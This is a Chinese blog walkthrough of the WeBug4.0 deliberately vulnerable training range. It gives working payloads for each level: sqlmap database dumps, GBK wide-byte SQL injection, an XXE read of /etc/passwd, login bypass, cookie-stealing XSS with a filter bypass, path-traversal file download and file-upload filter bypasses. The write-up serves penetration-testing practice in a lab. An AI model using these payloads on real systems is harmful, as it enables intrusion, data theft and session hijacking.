发布于2022年11月4日3年前 WeBug4.0是基于基于PHP/mysql制作搭建而成的一个web靶场环境。里面包含了常见的XSS SQL 文件上传等常见的漏洞。是新手练习web肾透测试的不二之选。安装首先到github上面下载源码,下载完成后放到站点根目录/var/www/html新建三个数据库create database webbug create database webbug_sys create database webug_width_byte然后将data目录下面的数据库文件,分别导入对应的数据库即可。浏览器访问主机IP,用户名和密码均为admin成功登录后台。SQL注入部分01显错注入我们在?id=1后面添加'号,即可报错。我们可以构造手动注入语句,也可以利用sqlmap注入。为了不那么麻烦,这里我直接用神器sqlmap来一梭子!sqlmap -u "http://192.168.123.129/control/sqlinject/manifest_error.php?id=1" --dbs #查询数据库一路直接Y即可!如下图,直接爆出数据库。爆出表sqlmap -u "http://192.168.123.129/control/sqlinject/manifest_error.php?id=1" -D webug --tables爆出表结构和数据sqlmap -u "http://192.168.123.129/control/sqlinject/manifest_error.php?id=1" -D webug -T flag --columns sqlmap -u "http://192.168.123.129/control/sqlinject/manifest_error.php?id=1" -D webug -T flag -C "id,flag" --dump02 布尔注入怎么判断页面是否存在布尔注入型注入呢?我们先正常访问,效果如下:当后面输入 and 1=2 进行逻辑判断时,效果如下:这时,我们发现虽然没有报错,但是页面显示的不全。这便是所谓的布尔注入注入。利用方法和第一步一样。03 延时注入没有多大卵,和前面一样,在sqlmap中执行同样的命令即可。04 post注入进入页面后,有一个搜索框。随便输入内容点击搜索。然后在burp中抓包!将抓到包保存为txt文件,在sqlmap中执行命令sqlmap -r "11.txt" --dbs后面的也就一样了。05 过滤注入和上一关一样,没有多大的技术含量。06宽字节注入宽字节是指多个字节宽度的编码,如UNICODE、GBK、BIG5等。转义函数在对这些编码进行转义时会将转义字符 ‘\’ 转为 %5c ,于是我们在他前面输入一个单字符编码与它组成一个新的多字符编码,使得原本的转义字符没有发生作用。如果编码是GBK,我们在前面加上 %df' ,转义函数会将%df’改成%df\’ , 而\ 就是%5c ,即最后变成了%df%5c',而%df%5c在GBK中这两个字节对应着一个汉字 “運” ,就是说 \ 已经失去了作用,%df ' ,被认为運' ,成功消除了转义函数的影响。注入我们首先利用BURP对当前页抓包。报错数据库%df' union select 1,database() %23不用burp也行,直接在浏览器地址栏中输入也行。爆出表%df' union select 1,group_concat(table_name) from information_schema.columns where table_schema=database() %2307 xxe注入获取Linux系统密码<?xml version = "1.0"?> <!DOCTYPE ANY [ <!ENTITY f SYSTEM "file:///etc/passwd">]> <x>&f;</x>在搜索框中,提交xml代码即可。08 csv注入我的环境有问题,搞不出来,不搞了。09 万能密码登陆用户名和密码都输入' or 1=1#成功得到flagxss篇01反射型直接构造<script>alert(大表哥牛逼)</script>flag:<script>alert(document.cookie);</script>02 存储型利用反射的的payload:id=<script>alert(document.cookie);</script>03 DOM型xssDOM型XSS不经过后端,只是在前端进行。payload :" > <script>alert(1)</script>#flag:" > <script>alert(documen.cookie)</script>#04 过滤xss用不了script标签,那么我们就换一种方法即可,换一种标签利用img标签和onerror配合来进行绕过payload:<img src=1 onerror=alert(document.cookie)>05 链接注入利用XSS进行网页跳转example:<a href=https://www.bbskali.cn>来啊~快活啊</a>当用户点击之后,就跳转到了指定页面。还有不用点击的呢:任意文件下载点击下载按钮,进行抓包。可以到达下载的文件位置为template/assets/img/1.txt这时,我们可以尝试下载系统中的任意文件,如sql/webug.sql文件,修改包中的数据为sql/webug.sql,然后放包!mysql配置文件下载同样的道理构造下载mysql的配置文件payload:file=../Extensions/MySQL5.7.26/my.ini文件上传01 文件上传(前端拦截)我们先直接尝试上传php文件,提示如下右键审查元素,我们可以看到只限上传格式为image<script type="application/javascript"> function type_filter(files) { if (files[0].type.split("/")[0] == "image") { return true; } else { document.getElementById("file").value = ""; alert("不允许上传该格式类型"); return false; } } </script> 对input分析<input type="file" name="file" id="file" onchange="type_filter(this.files)">我我们只需要删除onchange="type_filter(this.files)"即可!02 解析漏洞这个和apache以及nginx的配置有关,原理是将PHP文件保存为jpg格式,通过nginx的解析漏洞,将jpg文件解析为php文件。环境所限,搞不了。03 文件上传(畸形文件)通过阅读源码,发现对php文件做了过滤if (strstr($file_ext, "php")) { $file_ext = str_replace("php", "", $file_ext); }我们可以利用.pphphp双写形式绕过。04 文件上传(截断上传)在repeater里面将文件名改为 shell2.php龘.jpg,send(环境因素 未成功。) 版权属于:逍遥子大表哥本文链接:https://blog.bbskali.cn/3274.html按照知识共享署名-非商业性使用 4.0 国际协议进行许可,转载引用文章应遵循相同协议。
创建帐户或登录后发表意见